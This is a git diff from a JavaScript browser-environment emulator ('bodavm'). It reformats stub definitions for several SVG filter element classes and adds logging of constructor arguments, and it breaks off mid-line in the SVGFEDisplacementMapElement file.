}, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "operator", { + configurable: true, + enumerable: true, + get: function operator() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "operator_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "k1", { + configurable: true, + enumerable: true, + get: function k1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "k1_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "k2", { + configurable: true, + enumerable: true, + get: function k2() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "k2_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "k3", { + configurable: true, + enumerable: true, + get: function k3() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "k3_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "k4", { + configurable: true, + enumerable: true, + get: function k4() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "k4_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "result", { + configurable: true, + enumerable: true, + get: function result() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "result_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGFEConvolveMatrixElement.js b/env_xbb_lastest_jsdom/env/SVGFEConvolveMatrixElement.js index 4fb62cec..e83ef4e3 100644 --- a/env_xbb_lastest_jsdom/env/SVGFEConvolveMatrixElement.js +++ b/env_xbb_lastest_jsdom/env/SVGFEConvolveMatrixElement.js @@ -1,30 +1,203 @@ -// SVGFEConvolveMatrixElement对象 -bodavm.memory.globalobj['SVGFEConvolveMatrixElement'] = function SVGFEConvolveMatrixElement(){if (!(this instanceof SVGFEConvolveMatrixElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEConvolveMatrixElement'], "SVGFEConvolveMatrixElement"); -bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "SVG_EDGEMODE_NONE", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "SVG_EDGEMODE_WRAP", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "SVG_EDGEMODE_DUPLICATE", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "SVG_EDGEMODE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "SVG_EDGEMODE_NONE", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "SVG_EDGEMODE_WRAP", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "SVG_EDGEMODE_DUPLICATE", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "SVG_EDGEMODE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "in1", {configurable:true, enumerable:true, get:function in1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "in1_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "orderX", {configurable:true, enumerable:true, get:function orderX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "orderX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "orderY", {configurable:true, enumerable:true, get:function orderY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "orderY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "kernelMatrix", {configurable:true, enumerable:true, get:function kernelMatrix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "kernelMatrix_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "divisor", {configurable:true, enumerable:true, get:function divisor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "divisor_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "bias", {configurable:true, enumerable:true, get:function bias (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "bias_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "targetX", {configurable:true, enumerable:true, get:function targetX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "targetX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "targetY", {configurable:true, enumerable:true, get:function targetY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "targetY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "edgeMode", {configurable:true, enumerable:true, get:function edgeMode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "edgeMode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "kernelUnitLengthX", {configurable:true, enumerable:true, get:function kernelUnitLengthX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "kernelUnitLengthX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "kernelUnitLengthY", {configurable:true, enumerable:true, get:function kernelUnitLengthY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "kernelUnitLengthY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "preserveAlpha", {configurable:true, enumerable:true, get:function preserveAlpha (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "preserveAlpha_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "result_get", arguments)}, set:undefined},'prototype'); +// SVGFEConvolveMatrixElement对象 + +bodavm.memory.globalobj['SVGFEConvolveMatrixElement'] = function SVGFEConvolveMatrixElement() { + console.log_copy('SVGFEConvolveMatrixElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFEConvolveMatrixElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEConvolveMatrixElement'], "SVGFEConvolveMatrixElement"); +bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "SVG_EDGEMODE_NONE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "SVG_EDGEMODE_WRAP", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "SVG_EDGEMODE_DUPLICATE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "SVG_EDGEMODE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "SVG_EDGEMODE_NONE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "SVG_EDGEMODE_WRAP", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "SVG_EDGEMODE_DUPLICATE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "SVG_EDGEMODE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "in1", { + configurable: true, + enumerable: true, + get: function in1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "in1_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "orderX", { + configurable: true, + enumerable: true, + get: function orderX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "orderX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "orderY", { + configurable: true, + enumerable: true, + get: function orderY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "orderY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "kernelMatrix", { + configurable: true, + enumerable: true, + get: function kernelMatrix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "kernelMatrix_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "divisor", { + configurable: true, + enumerable: true, + get: function divisor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "divisor_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "bias", { + configurable: true, + enumerable: true, + get: function bias() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "bias_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "targetX", { + configurable: true, + enumerable: true, + get: function targetX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "targetX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "targetY", { + configurable: true, + enumerable: true, + get: function targetY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "targetY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "edgeMode", { + configurable: true, + enumerable: true, + get: function edgeMode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "edgeMode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "kernelUnitLengthX", { + configurable: true, + enumerable: true, + get: function kernelUnitLengthX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "kernelUnitLengthX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "kernelUnitLengthY", { + configurable: true, + enumerable: true, + get: function kernelUnitLengthY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "kernelUnitLengthY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "preserveAlpha", { + configurable: true, + enumerable: true, + get: function preserveAlpha() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "preserveAlpha_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "result", { + configurable: true, + enumerable: true, + get: function result() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "result_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGFEDiffuseLightingElement.js b/env_xbb_lastest_jsdom/env/SVGFEDiffuseLightingElement.js index 80ed30c4..2fced29e 100644 --- a/env_xbb_lastest_jsdom/env/SVGFEDiffuseLightingElement.js +++ b/env_xbb_lastest_jsdom/env/SVGFEDiffuseLightingElement.js @@ -1,15 +1,99 @@ -// SVGFEDiffuseLightingElement对象 -bodavm.memory.globalobj['SVGFEDiffuseLightingElement'] = function SVGFEDiffuseLightingElement(){if (!(this instanceof SVGFEDiffuseLightingElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEDiffuseLightingElement'], "SVGFEDiffuseLightingElement"); -bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFEDiffuseLightingElement', "in1", {configurable:true, enumerable:true, get:function in1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype, "SVGFEDiffuseLightingElement", "in1_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDiffuseLightingElement', "surfaceScale", {configurable:true, enumerable:true, get:function surfaceScale (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype, "SVGFEDiffuseLightingElement", "surfaceScale_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDiffuseLightingElement', "diffuseConstant", {configurable:true, enumerable:true, get:function diffuseConstant (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype, "SVGFEDiffuseLightingElement", "diffuseConstant_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDiffuseLightingElement', "kernelUnitLengthX", {configurable:true, enumerable:true, get:function kernelUnitLengthX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype, "SVGFEDiffuseLightingElement", "kernelUnitLengthX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDiffuseLightingElement', "kernelUnitLengthY", {configurable:true, enumerable:true, get:function kernelUnitLengthY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype, "SVGFEDiffuseLightingElement", "kernelUnitLengthY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDiffuseLightingElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype, "SVGFEDiffuseLightingElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDiffuseLightingElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype, "SVGFEDiffuseLightingElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDiffuseLightingElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype, "SVGFEDiffuseLightingElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDiffuseLightingElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype, "SVGFEDiffuseLightingElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDiffuseLightingElement', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype, "SVGFEDiffuseLightingElement", "result_get", arguments)}, set:undefined},'prototype'); +// SVGFEDiffuseLightingElement对象 + +bodavm.memory.globalobj['SVGFEDiffuseLightingElement'] = function SVGFEDiffuseLightingElement() { + console.log_copy('SVGFEDiffuseLightingElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFEDiffuseLightingElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEDiffuseLightingElement'], "SVGFEDiffuseLightingElement"); +bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFEDiffuseLightingElement', "in1", { + configurable: true, + enumerable: true, + get: function in1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype, "SVGFEDiffuseLightingElement", "in1_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDiffuseLightingElement', "surfaceScale", { + configurable: true, + enumerable: true, + get: function surfaceScale() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype, "SVGFEDiffuseLightingElement", "surfaceScale_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDiffuseLightingElement', "diffuseConstant", { + configurable: true, + enumerable: true, + get: function diffuseConstant() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype, "SVGFEDiffuseLightingElement", "diffuseConstant_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDiffuseLightingElement', "kernelUnitLengthX", { + configurable: true, + enumerable: true, + get: function kernelUnitLengthX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype, "SVGFEDiffuseLightingElement", "kernelUnitLengthX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDiffuseLightingElement', "kernelUnitLengthY", { + configurable: true, + enumerable: true, + get: function kernelUnitLengthY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype, "SVGFEDiffuseLightingElement", "kernelUnitLengthY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDiffuseLightingElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype, "SVGFEDiffuseLightingElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDiffuseLightingElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype, "SVGFEDiffuseLightingElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDiffuseLightingElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype, "SVGFEDiffuseLightingElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDiffuseLightingElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype, "SVGFEDiffuseLightingElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDiffuseLightingElement', "result", { + configurable: true, + enumerable: true, + get: function result() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype, "SVGFEDiffuseLightingElement", "result_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGFEDisplacementMapElement.js b/env_xbb_lastest_jsdom/env/SVGFEDisplacementMapElement.js index a2f4195f..e47d572f 100644 --- a/env_xbb_lastest_jsdom/env/SVGFEDisplacementMapElement.js +++ b/env_xbb_lastest_jsdom/env/SVGFEDisplacementMapElement.js @@ -1,25 +1,159 @@ -// SVGFEDisplacementMapElement对象 -bodavm.memory.globalobj['SVGFEDisplacementMapElement'] = function SVGFEDisplacementMapElement(){if (!(this instanceof SVGFEDisplacementMapElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEDisplacementMapElement'], "SVGFEDisplacementMapElement"); -bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFEDisplacementMapElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "SVG_CHANNEL_A", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "SVG_CHANNEL_B", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "SVG_CHANNEL_G", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "SVG_CHANNEL_R", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "SVG_CHANNEL_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "SVG_CHANNEL_A", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "SVG_CHANNEL_B", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "SVG_CHANNEL_G", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "SVG_CHANNEL_R", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "SVG_CHANNEL_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "in1", {configurable:true, 